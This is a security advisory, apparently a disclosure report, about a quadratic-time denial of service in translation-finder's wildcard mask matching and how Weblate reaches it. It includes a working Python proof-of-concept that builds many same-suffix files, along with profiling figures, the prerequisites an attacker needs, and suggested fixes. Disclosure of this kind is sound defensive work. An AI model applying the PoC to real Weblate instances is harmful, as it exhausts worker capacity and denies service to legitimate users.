CPU-based Denial of Service in translation-finder via O(N²) per-result wildcard mask matching

How it was found

Assets

• https://github.com/WeblateOrg/translation-finder
• Affected version: 3.6.0 — commit 76186ba54f1e2c67176aa4c379c2f1d5fc406039 (HEAD at audit, 2026-10-05)
• Tested on: Python 3.13.9, Linux x64, charset-normalizer 3.5.2

CWE

• CWE-407: Inefficient Algorithmic Complexity
• CWE-400: Uncontrolled Resource Consumption

Summary

Finder.mask_matches() (translation_finder/finder.py:209) resolves a wildcard mask by scanning the entire per-suffix bucket of indexed files and running one fnmatch() per entry. Multiple discovery backends call mask_matches() once per discovered result — or once per candidate file — while iterating over that same bucket. On a directory or ZIP archive containing N files that share one suffix, a single discover() call performs on the order of N² fnmatch() operations. Measured: 4,000 files (~400 KB) → ~11 s CPU; 8,000 files (~800 KB) → ~46 s CPU, inside one library call. The same cost fires when discovery produces zero results, so pre-filtering does not protect against it.

Root cause

finder.py:209:

def mask_matches(self, mask: str) -> Generator[PurePath]:
    if "*" not in mask:
        match = self.files_by_path.get(mask)          # O(1) — not affected
        ...
    else:
        ...
        candidates = self.files_by_suffix.get(suffix, [])  # full bucket
    ...
    for name, path in candidates:
        if fnmatch(name, mask):                        # O(bucket) per call
            yield path

Wildcard masks scan the whole files_by_suffix bucket. Affected call sites (all verified at 76186ba):

The break inside detect_encoding() (base.py:482) only bounds the files that get sampled for encoding (ENCODING_SNIFF_MAX_FILES = 10, FORMAT_SNIFF_MAX_BYTES = 1 MB); the mask-matching generator itself is still pulled to exhaustion.

This is the remaining gap after the maintainer's own earlier fixes for this bug class: PR #922 ("perf: index finder candidates", merged 2026-06-25) indexed exact-name/suffix lookups but left wildcard masks bucket-scanning, and PR #980 ("fix: avoid quadratic new-base discovery", merged 2026-07-27) fixed only the Qt .ts path. Neither caps the generic wildcard-mask × bucket-scan path exploited here.

Steps to reproduce

Step 1 — Environment

git clone https://github.com/WeblateOrg/translation-finder
cd translation-finder
git checkout 76186ba54f1e2c67176aa4c379c2f1d5fc406039
python3 -m venv .venv && .venv/bin/pip install -e .

Expected:

Name: translation-finder
Version: 3.6.0

Step 2 — PoC script

Save as poc_tf_dos.py:

#!/usr/bin/env python3
"""PoC: O(N^2) fnmatch during discover() — translation-finder 3.6.0 @ 76186ba."""
import os, shutil, sys, time
from pathlib import PurePath
from translation_finder import discover

N = int(sys.argv[1]) if len(sys.argv) > 1 else 4000
MODE = sys.argv[2] if len(sys.argv) > 2 else "properties"   # properties | json-zero | po

SUFFIXES = {
    "properties": (".properties", lambda i: f"key_{i}=value\n"),   # 4000 results
    "json-zero":  (".json",       lambda i: "[]\n"),               # 0 results
    "po":         (".po",         lambda i: f'msgid "k{i}"\nmsgstr "v{i}"\n'),
}

root = "/tmp/tf_dos_poc"
if os.path.isdir(root):
    shutil.rmtree(root)
os.makedirs(root)
suffix, content = SUFFIXES[MODE]
for i in range(N):
    with open(os.path.join(root, f"u{i}_cs{suffix}"), "w") as fh:
        fh.write(content(i))

t = time.monotonic()
results = list(discover(PurePath(root)))
wall = time.monotonic() - t
print(f"mode={MODE} N={N} results={len(results)} wall={wall:.2f}s")

Step 3 — Scaling benchmark (quadratic growth)

.venv/bin/python poc_tf_dos.py 500 properties
.venv/bin/python poc_tf_dos.py 1000 properties
.venv/bin/python poc_tf_dos.py 2000 properties
.venv/bin/python poc_tf_dos.py 4000 properties
.venv/bin/python poc_tf_dos.py 8000 properties

Measured output:

Doubling ratios converge to 4 → asymptotically O(N²). Total tree size at N=8000 is under 1 MB; cost is driven by file count, not bytes.

Step 4 — Profile attribution

.venv/bin/python -m cProfile -s cumulative poc_tf_dos.py 2000 properties 2>&1 \
  | grep -E "mask_matches|fnmatch|detect_encoding|_iter_result_paths|from_bytes" | head -8

Measured output (N=2000):

   8000    2.363    0.000   13.487    0.002 finder.py:209(mask_matches)
8000000    3.900    0.000   11.076    0.000 fnmatch.py:19(fnmatch)
   2000    0.043    0.000    7.364    0.004 base.py:473(detect_encoding)
   4000    0.015    0.000    6.734    0.002 files.py:226(_iter_result_paths)
   2000    0.135    0.000    0.281    0.000 api.py:50(from_bytes)

Arithmetic check: 8,000 mask_matches calls, of which 4,000 use wildcard masks (filemask per result via detect_encoding and _iter_result_paths; the template masks are concrete paths → O(1)). 4,000 wildcard calls × 2,000-entry bucket = 8,000,000 fnmatch calls — matches the measured count exactly. Extrapolated to N=4000 this predicts ~32M fnmatch calls. mask_matches accounts for ~85% of cumulative time; charset detection (from_bytes) is under 2%.

Step 5 — DoS with zero results

.venv/bin/python poc_tf_dos.py 4000 json-zero

Measured output:

mode=json-zero N=4000 results=0 wall=5.92s

Same 4,000 files spread across 4 different suffixes (bucket ÷ 4) complete in 2.03 s, and a .po tree of the same size is linear (0.57 s, 4000 results — GettextDiscovery does not traverse the affected paths). This confirms: (a) the cost is the wildcard-mask × bucket-scan combination, not generic tree walking; (b) an attacker gets the same CPU burn on trees where discovery finds nothing, because has_template_less_content() performs bucket scans per candidate during pre-filtering.

Step 6 — Reachability in Weblate (untrusted-input trigger)

Weblate imports the library's discover() directly (weblate/trans/forms.py:43) and executes it synchronously in the "Add new translation component" wizard web request (weblate/trans/views/create.py:330 → ComponentDiscoverForm.perform_discovery(), forms.py:3402-3412), with a second discover(eager=True) retry when the first pass yields nothing. Preset preview (addons/forms.py:1316 → trans/discovery.py:451) runs the same call. The resource limits in the ComponentDiscovery addon class (100k paths / 1M comparisons) do not apply to these paths — no cap exists on them.

Prerequisites: authenticated user with permission to add a component to a project (built-in "Add new component" permission), and a repository/ZIP the instance pulls — an attacker-controlled public repository suffices. A tree of ~30k files (~10 MB, within normal upload limits) extrapolates to ~10–15 minutes of CPU per discovery call.

Remediation suggestions

1. Pre-compute match sets per mask once (single pass over each bucket) instead of re-scanning per result; mask_matches() becomes O(bucket) per mask, not per mask × result.
2. Bound bucket scans in _iter_result_paths() / detect_encoding() sampling to the first ENCODING_SNIFF_MAX_FILES candidates rather than matching every file per result.
3. Memoize match lists for results sharing the same (stem-template, suffix) tuple.
4. Enforce a wall-clock/operation budget inside discover(), analogous to the existing FORMAT_SNIFF_MAX_BYTES / ENCODING_SNIFF_MAX_FILES caps.

Impact

• Availability: a small, attacker-controlled file tree turns each discovery request into minutes of CPU-bound work in a synchronous web-request thread, enabling trivial worker/request-pool exhaustion (CWE-400) with repeatable single-request effect.
• No confidentiality or integrity impact; no auth bypass; no memory corruption.
• Confirmed not format-universal: .properties-style and JSON backends are affected; Gettext (.po) is not.